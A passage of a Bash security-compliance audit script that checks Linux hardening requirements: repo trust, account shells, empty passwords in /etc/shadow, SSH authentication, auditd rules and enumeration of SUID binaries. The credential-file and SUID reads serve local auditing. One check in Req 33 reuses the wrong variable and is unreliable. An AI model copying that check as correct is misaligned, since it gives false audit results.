configured.\"\nFAIL=0\nPASS=0\n\ntest_req18 () {\n if [ \"$1\" == \"TRUE\" ]; then\n \n GPG_ERR=0\n\n # Test 1/1\n NUM=1\n if [ \"$OS\" == \"debian\" ] || [ \"$OS\" == \"ubuntu\" ] ; then\n if [ $(grep \"trusted=yes\" /etc/apt/sources.list | wc -l) -ne 0 ]; then GPG_ERR=1; fi\n elif [ \"$OS\" == \"amzn\" ] || [ \"$OS\" == \"rhel\" ] || [ \"$OS\" == \"centos\" ]; then\n if [ $(awk -F\\= '/^gpgcheck=/ {print $2}' /etc/yum.conf) -ne 1 ]; then GPG_ERR=1; fi\n elif [ \"$OS\" == \"sles\" ]; then\n CHK=$(awk -F\\= '/^gpgcheck=/ {print $2}' /etc/zypp/zypp.conf)\n CHK2=$(zypper repos -E | grep -i yes | awk -F'|' '{print $5}' | sort -u | wc -l)\n if [ -z $CHK ]; then\n if [ $CHK2 -ne 1 ]; then GPG_ERR=1; fi\n else\n if [ $CHK -ne 1 ]; then GPG_ERR=1; fi\n fi\n fi\n\n if [ $GPG_ERR -eq 1 ]; then\n # ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if repos are trusted:\\e[1;31m FAILED\\e[0m (untrusted repo)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if repos are trusted:\\e[1;32m PASSED\\e[0m\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req18 $REQ18 \"$REQ18_TXT\"\n\n# Req 19: User accounts must be used that allow unambiguous identification of the user.\nlet \"REQ_NR++\"\nREQ_TXT=\"User accounts must be used that allow unambiguous identification of the user.\"\nFAIL=0\nPASS=0\n\ntest_req19 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n NUM=1\n ACCOUNTS=$(awk -v var=\"$NOLOGIN_PATH\" -F':' '{ if ( $3 >= 1000 && $7 != var && $7 != \"/bin/false\") print $1 }' /etc/passwd)\n for USER in $ALLOWED_USERS; do\n ACCOUNTS=$(echo \"$ACCOUNTS\" | sed -e \"s/$USER//g\")\n done\n\n if [ -z \"$ACCOUNTS\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check local user accounts:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n for FOUND_ACCOUNT in $ACCOUNTS; do\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check local user accounts:\\e[1;31m FAILED\\e[0m (found account $FOUND_ACCOUNT)\"\n done\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req19 $REQ19 \"$REQ19_TXT\"\n\n# Req 20: System accounts must be non-login.\nlet \"REQ_NR++\"\nREQ_TXT=\"System accounts must be non-login.\"\nFAIL=0\nPASS=0\n\ntest_req20 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n NUM=1\n CHK=$(awk -F':' '($1!=\"root\" && $1!=\"sync\" && $1!=\"shutdown\" && $1!=\"halt\" && $3<1000 && $7==\"/bin/bash\") {print $1}' /etc/passwd)\n\n if [ -z \"$CHK\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check system accounts if non-login:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n for FOUND_ACCOUNT in $CHK; do\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check system accounts if non-login:\\e[1;31m FAILED\\e[0m (found account $FOUND_ACCOUNT)\";\n done\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req20 $REQ20 \"$REQ20_TXT\"\n\n# Req 21: User accounts must be protected against unauthorized use by at least one authentication attribute.\nlet \"REQ_NR++\"\nREQ_TXT=\"User accounts must be protected against unauthorized use by at least one authentication attribute.\"\nFAIL=0\nPASS=0\n\ntest_req21 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n CHK=$(awk -F\":\" '($2 == \"\" && $2 != \"!\" && $2 !=\"*\") {print $1}' /etc/shadow)\n\n if [ -z \"$CHK\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check accounts in /etc/shadow:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n for FOUND_USER in $CHK; do \n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check accounts in /etc/shadow:\\e[1;31m FAILED\\e[0m ($FOUND_USER has no password)\";\n done\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req21 $REQ21 \"$REQ21_TXT\"\n\n# Req 22: User accounts with extensive rights must be protected with two authentication attributes.\nlet \"REQ_NR++\"\nREQ_TXT=\"User accounts with extensive rights must be protected with two authentication attributes.\"\nFAIL=0\nPASS=0\n\ntest_req22 () {\n if [ \"$1\" == \"TRUE\" ]; then\n \n SSH_CONFIG=\"/etc/ssh/sshd_config\"\n\n # Test 1/2\n PUB_KEY_AUTH=yes\n NUM=1\n if [ $(grep -i \"^PubkeyAuthentication $PUB_KEY_AUTH$\" $SSH_CONFIG | wc -l) -eq 1 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if SSH PubkeyAuthentication is $PUB_KEY_AUTH:\\e[1;32m PASSED\\e[0m\";\n else\n let FAIL=$FAIL+1;\n ERR=1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if SSH PubkeyAuthentication is $PUB_KEY_AUTH:\\e[1;31m FAILED\\e[0m (disabled)\";\n fi\n\n # Test 2/2\n NUM=1\n PASS_AUTH=no\n if [ $(grep -i \"^PasswordAuthentication $PASS_AUTH$\" $SSH_CONFIG | wc -l) -eq 1 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if SSH PasswordAuthentication is $PASS_AUTH:\\e[1;32m PASSED\\e[0m\";\n else\n let FAIL=$FAIL+1;\n ERR=1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if SSH PasswordAuthentication is $PASS_AUTH:\\e[1;31m FAILED\\e[0m (enabled)\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL;\n let CNT_PASSED=$CNT_PASSED+$PASS;\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req22 $REQ22 \"$REQ22_TXT\"\n\n# Req 23: The system must be connected to a central system for user administration.\nlet \"REQ_NR++\"\nREQ_TXT=\"The system must be connected to a central system for user administration.\"\nFAIL=0\nPASS=0\n\ntest_req23 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Not implemented! Manual Check necessary!\n FAIL=1;\n SKIP=1;\n echo -e \"[Req-$REQ_NR: Test 0.0] Check if system for central authentication is configured: SKIPPED (not implemented: Check manual!)\"\n REMARK=\"Not implemented! Depends on your used solution (LDAP, Kerberos etc.).\"\n\n let CNT_SKIP=$CNT_SKIP+$SKIP\n write_to_soc $FAIL $PASS \"$REMARK\"\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req23 $REQ23 \"$REQ23_TXT\"\n\n# Req 24: Authentication must be used for single user mode.\nlet \"REQ_NR++\"\nREQ_TXT=\"Authentication must be used for single user mode.\"\nFAIL=0\nPASS=0\n\ntest_req24 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n MODE_ERR=0\n\n # Test 1/1\n NUM=1\n if [ \"$OS\" == \"debian\" ] || [ \"$OS\" == \"ubuntu\" ] ; then\n CHK=$(awk -F\":\" '($1 == \"root\" && $2 == \"[!*]\") {print $1}' /etc/shadow)\n if [ -n \"$CHK\" ]; then MODE_ERR=1; fi\n elif [ \"$OS\" == \"amzn\" ] || [ \"$OS\" == \"rhel\" ] || [ \"$OS\" == \"centos\" ] || [ \"$OS\" == \"sles\" ]; then\n CHK=\"ExecStart=-/bin/sh -c \\\"/usr/sbin/sulogin; /usr/bin/systemctl --fail --no-block default\\\"\"\n if [ \"$CHK\" != \"`grep ^ExecStart= /usr/lib/systemd/system/rescue.service`\" ] && \\\n [ \"$CHK\" != \"`grep ^ExecStart= /usr/lib/systemd/system/emergency.service`\" ]; then\n MODE_ERR=1;\n fi\n fi\n\n if [ $MODE_ERR = 0 ]; then\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check single user mode:\\e[1;32m PASSED\\e[0m\";\n let PASS=$PASS+1;\n else\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check single user mode:\\e[1;31m FAILED\\e[0m (not activated)\"\n ERR=1;\n let FAIL=$FAIL+1;\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req24 $REQ24 \"$REQ24_TXT\"\n\n# Req 25: The management of the operating system must be done via a dedicated management network.\nlet \"REQ_NR++\"\nREQ_TXT=\"The management of the operating system must be done via a dedicated management network.\"\nFAIL=0\nPASS=0\n\ntest_req25 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Not implemented! Manual Check necessary!\n FAIL=1;\n SKIP=1;\n echo -e \"[Req-$REQ_NR: Test 0.0] Check management interface: SKIPPED (not implemented: Check manual!)\"\n REMARK=\"Not implemented! Check manual (Note: not needed for VMs on cloud).\"\n\n let CNT_SKIP=$CNT_SKIP+$SKIP\n write_to_soc $FAIL $PASS \"$REMARK\"\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req25 $REQ25 \"$REQ25_TXT\"\n\n# Req 26: Management services must be bound to the management network.\nlet \"REQ_NR++\"\nREQ_TXT=\"Management services must be bound to the management network.\" \nFAIL=0\nPASS=0\n\ntest_req26 () {\n if [ \"$1\" == \"TRUE\" ]; then\n \n # Not implemented! Manual Check necessary!\n FAIL=1;\n SKIP=1;\n echo -e \"[Req-$REQ_NR: Test 0.0] Check interface used for services: SKIPPED (not implemented: Check manual!)\"\n REMARK=\"Not implemented! Check manual (Note: not needed for VMs on cloud).\"\n\n let CNT_SKIP=$CNT_SKIP+$SKIP\n write_to_soc $FAIL $PASS \"$REMARK\"\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req26 $REQ26 \"$REQ26_TXT\"\n\n# Req 27: Encrypted protocols must be used for management access to administrate the operating system.\nlet \"REQ_NR++\"\nREQ_TXT=\"Encrypted protocols must be used for management access to administrate the operating system.\"\nFAIL=0\nPASS=0\n\ntest_req27 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n CHK_SSH=\"$(ps -A | grep -ow 'sshd*$' | wc -l)\"\n if [ $CHK_SSH -ne 0 ]; then\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if SSH deamon is running:\\e[1;32m PASSED\\e[0m\";\n let PASS=$PASS+1;\n else\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if SSH deamon is running:\\e[1;31m FAILED\\e[0m (no process found)\"\n ERR=1;\n let FAIL=$FAIL+1;\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req27 $REQ27 \"$REQ27_TXT\"\n\n# Req 28: Logging must be enabled in bootloader configuration.\nlet \"REQ_NR++\"\nREQ_TXT=\"Logging must be enabled in bootloader configuration.\"\nFAIL=0\nPASS=0\n\ntest_req28 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Not implemented in Ansible role!\n FAIL=1;\n SKIP=1;\n echo -e \"[Req-$REQ_NR: Test 0.0] Check for logging in bootloader configuration: SKIPPED (not implemented: Check manual!)\"\n REMARK=\"Not implemented!\"\n\n let CNT_SKIP=$CNT_SKIP+$SKIP\n write_to_soc $FAIL $PASS \"$REMARK\"\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req28 $REQ28 \"$REQ28_TXT\"\n\n# Test 1/1 \n#NUM=1\n#CHK=$(grep \"^GRUB_CMDLINE_LINUX=\" $FILE_GRUB | grep -ow \"audit=1\")\n\n#if [ -n \"$CHK\" ]; then\n# let PASS=$PASS+1;\n# echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if audit is enabled grub config $FILE_GRUB:\\e[1;32m PASSED\\e[0m\";\n#else\n #ERR=1;\n# let FAIL=$FAIL+1;\n# echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if audit is enabled grub config $FILE_GRUB:\\e[1;31m FAILED\\e[0m (no config found)\";\n#fi\n\n#let CNT_ERRORS=$CNT_ERRORS+$FAIL\n#let CNT_PASSED=$CNT_PASSED+$PASS\n#write_to_soc $FAIL $PASS\n\n# Req 29: Log rotation for logfiles must be configured.\nlet \"REQ_NR++\"\nREQ_TXT=\"Log rotation for logfiles must be configured.\"\nFAIL=0\nPASS=0\n\ntest_req29 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/3\n NUM=1\n CHK=$( grep \"[[:space:]]$LOG_ROTATE_TIME\" /etc/logrotate.conf)\n\n if [ -n \"$CHK\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if logrotate time is set to $LOG_ROTATE_TIME:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if logrotate time is set to $LOG_ROTATE_TIME:\\e[1;31m FAILED\\e[0m (wrong setting)\";\n fi\n\n # Test 2/3\n NUM=1\n CHK=$( grep \"[[:space:]]rotate $LOG_ROTATE_COUNT\" /etc/logrotate.conf)\n\n if [ -n \"$CHK\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if logrotate count is set to $LOG_ROTATE_COUNT:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if logrotate count is set to $LOG_ROTATE_COUNT:\\e[1;31m FAILED\\e[0m (wrong setting)\";\n fi\n\n # Test 3/3\n NUM=1\n CHK=$( grep \"[[:space:]]maxsize $LOG_ROTATE_MAXSIZE\" /etc/logrotate.conf)\n\n if [ -n \"$CHK\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check if logrotate size is set to $LOG_ROTATE_MAXSIZE:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check if logrotate size is set to $LOG_ROTATE_MAXSIZE:\\e[1;31m FAILED\\e[0m (wrong setting)\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req29 $REQ29 \"$REQ29_TXT\"\n\n# Req 30: System time must be synchronized against a reference time source.\nlet \"REQ_NR++\"\nREQ_TXT=\"System time must be synchronized against a reference time source.\"\nFAIL=0\nPASS=0\n\ntest_req30 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n NTP_SOFTWARE=\"chrony ntp\"\n\n # Test 1/3\n NUM=1\n for CHK in $NTP_SOFTWARE; do\n if [ \"$($PACKAGE 2>/dev/null | grep -ow $CHK | wc -l)\" -eq \"1\" ]; then\n let PASS=$PASS+1;\n ERR=0;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if $CHK is installed:\\e[1;32m PASSED\\e[0m\";\n break;\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if $CHK is installed:\\e[1;31m FAILED\\e[0m ($CHK not found)\";\n fi\n done\n\n # Test 2/3\n NUM=1\n if [ \"$(timedatectl | grep \"synchronized: yes\" | wc -l)\" -eq \"1\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if time is synchronized:\\e[1;32m PASSED\\e[0m\";\n else\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if time is synchronized:\\e[1;31m FAILED\\e[0m (not synchronized)\";\n fi\n\n # Test 3/3\n NUM=1\n if [ \"$(timedatectl | grep -ow \"$TIMEZONE\" | wc -l)\" -eq \"1\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check if timezone is $TIMEZONE:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check if timezone is $TIMEZONE:\\e[1;31m FAILED\\e[0m (wrong timezone)\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req30 $REQ30 \"$REQ30_TXT\"\n\n# Req 31: Auditd service must be used to log security relevant events. \nlet \"REQ_NR++\"\nREQ_TXT=\"Auditd service must be used to log security relevant events.\"\nFAIL=0\nPASS=0\n\ntest_req31 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/5\n NUM=1\n if [ \"$($PACKAGE 2>/dev/null | grep -ow $AUDIT_DAEMON | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if $AUDIT_DAEMON is installed:\\e[1;31m FAILED\\e[0m (not present)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if $AUDIT_DAEMON is installed:\\e[1;32m PASSED\\e[0m\";\n fi\n\n # Test 2/5\n NUM=1\n if [ \"$(auditctl -s | awk -F\"[ =]\" '/enable/ {print $2}')\" -ne \"0\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if $AUDIT_DAEMON is enabled:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if $AUDIT_DAEMON is enabled:\\e[1;31m FAILED\\e[0m (not enabled)\";\n fi\n\n\n # Test 3/5\n NUM=1\n if [ \"$(grep -P \"max_log_file\\s+=\\s+$MAX_LOG_FILE\" /etc/audit/auditd.conf | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check config if max size of logfiles is $MAX_LOG_FILE:\\e[1;31m FAILED\\e[0m (wrong value)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check config if max size of logfiles is $MAX_LOG_FILE:\\e[1;32m PASSED\\e[0m\";\n fi\n\n # Test 4/5\n NUM=1\n if [ \"$(grep -P \"num_logs\\s+=\\s+$MAX_NUM_LOGS\" /etc/audit/auditd.conf | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 4.$(((NUM++)))] Check config if number of logfiles is $MAX_NUM_LOGS:\\e[1;31m FAILED\\e[0m (wrong value)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 4.$(((NUM++)))] Check config if number of logfiles is $MAX_NUM_LOGS:\\e[1;32m PASSED\\e[0m\";\n fi\n\n # Test 5/5\n NUM=1\n if [ \"$(grep -P \"max_log_file_action\\s+=\\s+$MAX_LOG_FILE_ACTION\" /etc/audit/auditd.conf | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 5.$(((NUM++)))] Check config if logfile action is $MAX_LOG_FILE_ACTION:\\e[1;31m FAILED\\e[0m (wrong value)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 5.$(((NUM++)))] Check config if logfile action is $MAX_LOG_FILE_ACTION:\\e[1;32m PASSED\\e[0m\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req31 $REQ31 \"$REQ31_TXT\"\n\n# Req 32: System events must be logged.\nlet \"REQ_NR++\"\nREQ_TXT=\"System events must be logged.\"\nFAIL=0\nPASS=0\n\ntest_req32 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n CNT=1\n SYS_EVENTS=SYS_EVENTS_$CNT\n\n # Test 1/2\n NUM=1\n while [ $CNT -lt 100 ]; do\n if [ -n \"${!SYS_EVENTS}\" ]; then\n SYS_EVENTS_NEW=$(echo ${!SYS_EVENTS} | sed 's/^.//' | sed 's/ -/ \\\\-/g')\n if [ \"$(auditctl -l | grep -E \"$SYS_EVENTS_NEW\" | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check auditd for system events:\\e[1;31m FAILED\\e[0m (event missing: ${!SYS_EVENTS})\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check auditd for system events:\\e[1;32m PASSED\\e[0m\";\n fi\n let CNT++;\n SYS_EVENTS=SYS_EVENTS_$CNT;\n else\n CNT=100;\n fi\n done\n\n # Test 2/2\n NUM=1\n CNT=1\n SYS_EVENTS_OS=SYS_EVENTS_$OS_MAIN_DISTRO$CNT\n\n while [ $CNT -lt 100 ]; do\n SYS_EVENTS_OS_NEW=$(echo ${!SYS_EVENTS_OS} | sed 's/^.//' | sed 's/ -/ \\\\-/g')\n if [ -n \"${!SYS_EVENTS_OS}\" ]; then\n if [ \"$(auditctl -l | grep -E \"$SYS_EVENTS_OS_NEW\" | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check auditd for os specific system events:\\e[1;31m FAILED\\e[0m (event missing: ${!SYS_EVENTS_OS})\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check auditd for os specific system events:\\e[1;32m PASSED\\e[0m\";\n fi\n let CNT++;\n SYS_EVENTS_OS=SYS_EVENTS_$OS_MAIN_DISTRO$CNT;\n else\n CNT=100;\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req32 $REQ32 \"$REQ32_TXT\"\n\n# Req 33: Access and Authentication events must be logged.\nlet \"REQ_NR++\"\nREQ_TXT=\"Access and Authentication events must be logged.\"\nFAIL=0\nPASS=0\n\ntest_req33 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n CNT=1\n ACCESS_EVENTS=ACCESS_EVENTS_$CNT\n\n # Test 1/3\n NUM=1\n while [ $CNT -lt 100 ]; do\n if [ -n \"${!ACCESS_EVENTS}\" ]; then\n ACCESS_EVENTS_NEW=$(echo ${!ACCESS_EVENTS} | sed 's/^.//' | sed 's/ -/ \\\\-/g')\n if [ \"$(auditctl -l | grep -E \"$ACCESS_EVENTS_NEW\" | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check auditd for account events:\\e[1;31m FAILED\\e[0m (event missing: ${!ACCESS_EVENTS})\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check auditd for account events:\\e[1;32m PASSED\\e[0m\";\n fi\n let CNT++;\n ACCESS_EVENTS=ACCESS_EVENTS_$CNT;\n else\n CNT=100;\n fi\n done\n\n # Test 2/3\n NUM=1\n CNT=1\n ACCESS_EVENTS_OS=ACCESS_EVENTS_$OS_MAIN_DISTRO$CNT\n\n while [ $CNT -lt 100 ]; do\n ACCESS_EVENTS_OS_NEW=$(echo ${!SYS_EVENTS_OS} | sed 's/^.//' | sed 's/ -/ \\\\-/g')\n if [ -n \"${!ACCESS_EVENTS_OS}\" ]; then\n if [ \"$(auditctl -l | grep -E \"$ACCESS_EVENTS_OS_NEW\" | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check auditd for os specific account events:\\e[1;31m FAILED\\e[0m (event missing: ${!ACCESS_EVENTS_OS})\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check auditd for os specific account events:\\e[1;32m PASSED\\e[0m\";\n fi\n let CNT++;\n ACCESS_EVENTS_OS=ACCESS_EVENTS_$OS_MAIN_DISTRO$CNT;\n else\n CNT=100;\n fi\n done\n\n # Test 3/3\n NUM=1\n PRIV_COMMAND=\"$(df --local -P | awk {'if (NR!=1) print $6'} | xargs -I '{}' find '{}' -xdev -type f \\( -perm -4000 -o -perm -2000 \\) -print 2>/dev/null)\"\n\n for CHK in $PRIV_COMMAND; do\n EVENT=\"-a always,exit -S all -F path=$CHK -F perm=x -F auid>=1000 -F auid!=-1 -F key=privileged\"\n EVENT_NEW=$(echo $EVENT | sed 's/^.//' | sed 's/ 